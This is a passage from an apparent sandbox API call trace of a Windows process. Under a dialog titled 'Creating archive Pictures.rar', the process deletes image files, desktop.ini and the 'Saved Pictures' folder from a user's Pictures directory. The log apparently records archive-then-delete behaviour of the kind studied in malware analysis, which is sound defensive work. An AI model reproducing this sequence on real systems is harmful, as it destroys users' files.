lpString="Deleting") returned 8 [0068.056] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0068.056] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.056] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="sj6 1xhDAi0ypw.jpg") returned 18 [0068.057] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0068.057] GetTickCount () returned 0x26e6f [0068.057] GetLastError () returned 0x0 [0068.057] SetLastError (dwErrCode=0x0) [0068.057] GetDlgItem (hDlg=0x102be, nIDDlgItem=158) returned 0x102ca [0068.057] GetDlgItem (hDlg=0x102be, nIDDlgItem=153) returned 0x102c8 [0068.057] GetWindowTextW (in: hWnd=0x102c8, lpString=0xf00f8dbc30, nMaxCount=2560 | out: lpString=" 11%") returned 5 [0068.057] SetWindowTextW (hWnd=0x102c8, lpString=" 25%") returned 1 [0068.058] SendMessageW (hWnd=0x102ca, Msg=0x402, wParam=0x19, lParam=0x0) returned 0xb [0068.059] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15938780782) returned 1 [0068.059] GetTickCount () returned 0x26e7f [0068.059] GetTickCount () returned 0x26e7f [0068.059] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0068.059] GetMessageW (in: lpMsg=0xf00f8dd4d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd4d0) returned 1 [0068.059] GetFocus () returned 0x102e2 [0068.059] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd4d0) returned 1 [0068.060] SetFileAttributesW (lpFileName="Saved Pictures\\desktop.ini", dwFileAttributes=0x0) returned 1 [0068.060] DeleteFileW (lpFileName="Saved Pictures\\desktop.ini" (normalized: "c:\\users\\fd1hvy\\pictures\\saved pictures\\desktop.ini")) returned 1 [0068.061] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0068.061] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.061] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.061] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0068.061] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.061] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.061] SetWindowTextW (hWnd=0x102c6, lpString="desktop.ini") returned 1 [0068.062] GetTickCount () returned 0x26e7f [0068.062] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.062] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0068.062] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0068.062] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.062] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="desktop.ini") returned 11 [0068.062] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0068.063] GetTickCount () returned 0x26e7f [0068.063] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15939139735) returned 1 [0068.063] GetTickCount () returned 0x26e7f [0068.063] GetTickCount () returned 0x26e7f [0068.063] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0068.063] GetMessageW (in: lpMsg=0xf00f8dd4d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd4d0) returned 1 [0068.063] GetFocus () returned 0x102e2 [0068.063] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd4d0) returned 0 [0068.063] GetKeyState (nVirtKey=16) returned 0 [0068.063] TranslateAcceleratorW (hWnd=0x102be, hAccTable=0x1033b, lpMsg=0xf00f8dd4d0) returned 0 [0068.063] TranslateMessage (lpMsg=0xf00f8dd4d0) returned 0 [0068.063] DispatchMessageW (lpMsg=0xf00f8dd4d0) returned 0x1 [0068.063] SetFileAttributesW (lpFileName="Saved Pictures", dwFileAttributes=0x0) returned 1 [0068.064] RemoveDirectoryW (lpPathName="Saved Pictures" (normalized: "c:\\users\\fd1hvy\\pictures\\saved pictures")) returned 1 [0068.064] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0068.064] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.065] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.065] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0068.065] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.065] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.065] SetWindowTextW (hWnd=0x102c6, lpString="Saved Pictures") returned 1 [0068.065] GetTickCount () returned 0x26e7f [0068.065] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.065] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0068.066] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0068.066] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.066] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Saved Pictures") returned 14 [0068.066] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0068.066] GetTickCount () returned 0x26e7f [0068.066] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15939483521) returned 1 [0068.066] GetTickCount () returned 0x26e7f [0068.066] GetTickCount () returned 0x26e7f [0068.066] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 0 [0068.066] DeleteFileW (lpFileName="QX41YSfi6.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\qx41ysfi6.bmp")) returned 1 [0068.068] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0068.068] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.068] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.068] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0068.068] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.068] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.068] SetWindowTextW (hWnd=0x102c6, lpString="QX41YSfi6.bmp") returned 1 [0068.069] GetTickCount () returned 0x26e7f [0068.069] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.069] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0068.069] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0068.069] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.069] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="QX41YSfi6.bmp") returned 13 [0068.069] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0068.070] GetTickCount () returned 0x26e7f [0068.070] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15939842493) returned 1 [0068.070] GetTickCount () returned 0x26e7f [0068.070] GetTickCount () returned 0x26e7f [0068.070] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 0 [0068.070] DeleteFileW (lpFileName="q0 y.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\q0 y.bmp")) returned 1 [0068.071] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0068.071] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.071] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.071] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0068.071] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.071] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.071] SetWindowTextW (hWnd=0x102c6, lpString="q0 y.bmp") returned 1 [0068.072] GetTickCount () returned 0x26e7f [0068.072] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.072] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0068.072] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0068.072] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.072] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="q0 y.bmp") returned 8 [0068.072] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0068.073] GetTickCount () returned 0x26e7f [0068.073] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15940124430) returned 1 [0068.073] GetTickCount () returned 0x26e7f [0068.073] GetTickCount () returned 0x26e7f [0068.073] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 0 [0068.073] DeleteFileW (lpFileName="Pe_4G6TNHBiw7.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\pe_4g6tnhbiw7.gif")) returned 1 [0068.075] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0068.076] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.076] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.076] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0068.076] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.076] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.076] SetWindowTextW (hWnd=0x102c6, lpString="Pe_4G6TNHBiw7.gif") returned 1 [0068.077] GetTickCount () returned 0x26e8f [0068.077] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.077] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0068.077] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0068.077] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.077] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Pe_4G6TNHBiw7.gif") returned 17 [0068.077] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0068.077] GetTickCount () returned 0x26e8f [0068.077] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15940597327) returned 1 [0068.077] GetTickCount () returned 0x26e8f [0068.077] GetTickCount () returned 0x26e8f [0068.077] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 1 [0068.078] GetMessageW (in: lpMsg=0xf00f8dd4d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xf00f8dd4d0) returned 1 [0068.078] GetFocus () returned 0x102e2 [0068.078] IsDialogMessageW (hDlg=0x102be, lpMsg=0xf00f8dd4d0) returned 1 [0068.078] DeleteFileW (lpFileName="m3Vfo.png" (normalized: "c:\\users\\fd1hvy\\pictures\\m3vfo.png")) returned 1 [0068.079] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0068.079] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.079] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.079] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0068.079] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.079] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.080] SetWindowTextW (hWnd=0x102c6, lpString="m3Vfo.png") returned 1 [0068.080] GetTickCount () returned 0x26e8f [0068.080] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.080] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0068.080] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0068.080] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.080] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="m3Vfo.png") returned 9 [0068.080] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0068.081] GetTickCount () returned 0x26e8f [0068.081] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15940930194) returned 1 [0068.081] GetTickCount () returned 0x26e8f [0068.081] GetTickCount () returned 0x26e8f [0068.081] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 0 [0068.081] DeleteFileW (lpFileName="m3ksaTaVuXM_ADoCvA.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\m3ksatavuxm_adocva.jpg")) returned 1 [0068.082] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0068.082] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.082] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.082] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0068.083] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.083] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.083] SetWindowTextW (hWnd=0x102c6, lpString="m3ksaTaVuXM_ADoCvA.jpg") returned 1 [0068.083] GetTickCount () returned 0x26e8f [0068.083] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.083] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0068.083] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0068.083] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.083] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="m3ksaTaVuXM_ADoCvA.jpg") returned 22 [0068.083] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0068.084] GetTickCount () returned 0x26e8f [0068.084] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15941240161) returned 1 [0068.084] GetTickCount () returned 0x26e8f [0068.084] GetTickCount () returned 0x26e8f [0068.084] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 0 [0068.084] DeleteFileW (lpFileName="KmDsFaqbjMnNn4BN.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\kmdsfaqbjmnnn4bn.jpg")) returned 1 [0068.085] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0068.085] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.085] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.085] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0068.085] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.085] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.085] SetWindowTextW (hWnd=0x102c6, lpString="KmDsFaqbjMnNn4BN.jpg") returned 1 [0068.086] GetTickCount () returned 0x26e8f [0068.086] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.086] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0068.086] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0068.086] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.086] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="KmDsFaqbjMnNn4BN.jpg") returned 20 [0068.086] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0068.087] GetTickCount () returned 0x26e8f [0068.087] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15941519501) returned 1 [0068.087] GetTickCount () returned 0x26e8f [0068.087] GetTickCount () returned 0x26e8f [0068.087] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 0 [0068.087] DeleteFileW (lpFileName="job -V_cE7uVrHssoWW.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\job -v_ce7uvrhssoww.jpg")) returned 1 [0068.088] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0068.088] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.088] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.088] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0068.088] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.088] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.088] SetWindowTextW (hWnd=0x102c6, lpString="job -V_cE7uVrHssoWW.jpg") returned 1 [0068.091] GetTickCount () returned 0x26e9e [0068.091] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.091] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0068.091] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0068.091] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.091] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="job -V_cE7uVrHssoWW.jpg") returned 23 [0068.091] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0068.091] GetTickCount () returned 0x26e9e [0068.091] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15942003925) returned 1 [0068.091] GetTickCount () returned 0x26e9e [0068.091] GetTickCount () returned 0x26e9e [0068.091] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 0 [0068.092] DeleteFileW (lpFileName="HPs4cKd.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\hps4ckd.bmp")) returned 1 [0068.093] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0068.093] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.093] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.093] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0068.093] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.093] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.093] SetWindowTextW (hWnd=0x102c6, lpString="HPs4cKd.bmp") returned 1 [0068.094] GetTickCount () returned 0x26e9e [0068.094] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.094] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0068.094] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0068.094] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.094] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="HPs4cKd.bmp") returned 11 [0068.094] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0068.095] GetTickCount () returned 0x26e9e [0068.095] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15942327232) returned 1 [0068.095] GetTickCount () returned 0x26e9e [0068.095] GetTickCount () returned 0x26e9e [0068.095] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 0 [0068.095] DeleteFileW (lpFileName="hh1Bz.png" (normalized: "c:\\users\\fd1hvy\\pictures\\hh1bz.png")) returned 1 [0068.096] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0068.096] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.096] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.096] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0068.097] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.097] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.097] SetWindowTextW (hWnd=0x102c6, lpString="hh1Bz.png") returned 1 [0068.097] GetTickCount () returned 0x26e9e [0068.097] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.097] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0068.097] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0068.098] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.098] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="hh1Bz.png") returned 9 [0068.098] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0068.098] GetTickCount () returned 0x26e9e [0068.098] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15942659247) returned 1 [0068.098] GetTickCount () returned 0x26e9e [0068.098] GetTickCount () returned 0x26e9e [0068.098] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 0 [0068.098] DeleteFileW (lpFileName="H7Jzn2.png" (normalized: "c:\\users\\fd1hvy\\pictures\\h7jzn2.png")) returned 1 [0068.099] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0068.100] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.100] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.100] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0068.101] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.101] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.101] SetWindowTextW (hWnd=0x102c6, lpString="H7Jzn2.png") returned 1 [0068.101] GetTickCount () returned 0x26e9e [0068.101] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.101] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0068.101] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0068.101] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.101] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="H7Jzn2.png") returned 10 [0068.101] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0068.102] GetTickCount () returned 0x26e9e [0068.102] QueryPerformanceCounter (in: lpPerformanceCount=0xf00f8dd4b0 | out: lpPerformanceCount=0xf00f8dd4b0*=15943047430) returned 1 [0068.102] GetTickCount () returned 0x26e9e [0068.102] GetTickCount () returned 0x26e9e [0068.102] PeekMessageW (in: lpMsg=0xf00f8dd540, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xf00f8dd540) returned 0 [0068.102] DeleteFileW (lpFileName="H6PwCN3oyZKOwFQ.png" (normalized: "c:\\users\\fd1hvy\\pictures\\h6pwcn3oyzkowfq.png")) returned 1 [0068.103] GetWindowTextW (in: hWnd=0x102be, lpString=0xf00f8db900, nMaxCount=512 | out: lpString="Creating archive Pictures.rar") returned 29 [0068.104] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.104] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.104] SetWindowTextW (hWnd=0x102c4, lpString="Deleting") returned 1 [0068.104] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.104] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8da4b0, nMaxCount=2560 | out: lpString="") returned 0 [0068.233] SetWindowTextW (hWnd=0x102c6, lpString="H6PwCN3oyZKOwFQ.png") returned 1 [0068.233] GetTickCount () returned 0x26f2b [0068.234] UpdateWindow (hWnd=0x102be) returned 1 [0068.234] GetDlgItem (hDlg=0x102be, nIDDlgItem=156) returned 0x102c4 [0068.234] GetWindowTextW (in: hWnd=0x102c4, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="Deleting") returned 8 [0068.234] SetWindowTextW (hWnd=0x102c4, lpString="") returned 1 [0068.234] GetDlgItem (hDlg=0x102be, nIDDlgItem=155) returned 0x102c6 [0068.234] GetWindowTextW (in: hWnd=0x102c6, lpString=0xf00f8dc160, nMaxCount=2560 | out: lpString="H6PwCN3oyZKOwFQ.png") returned 19 [0068.234] SetWindowTextW (hWnd=0x102c6, lpString="") returned 1 [0068.234] GetTickCount () returned 0x26f2b [0068.234] GetLastError () returned 0x0 [0068.234] SetLastError (dwErrCode=0x0) [0068.234] GetDlgItem (hDlg=0x102be, nIDDlgItem=158) returned 0x102ca [0068.234] GetDlgItem (hDlg=0x102be, nIDDlgItem=153) returned 0x102c8 [0068.234] 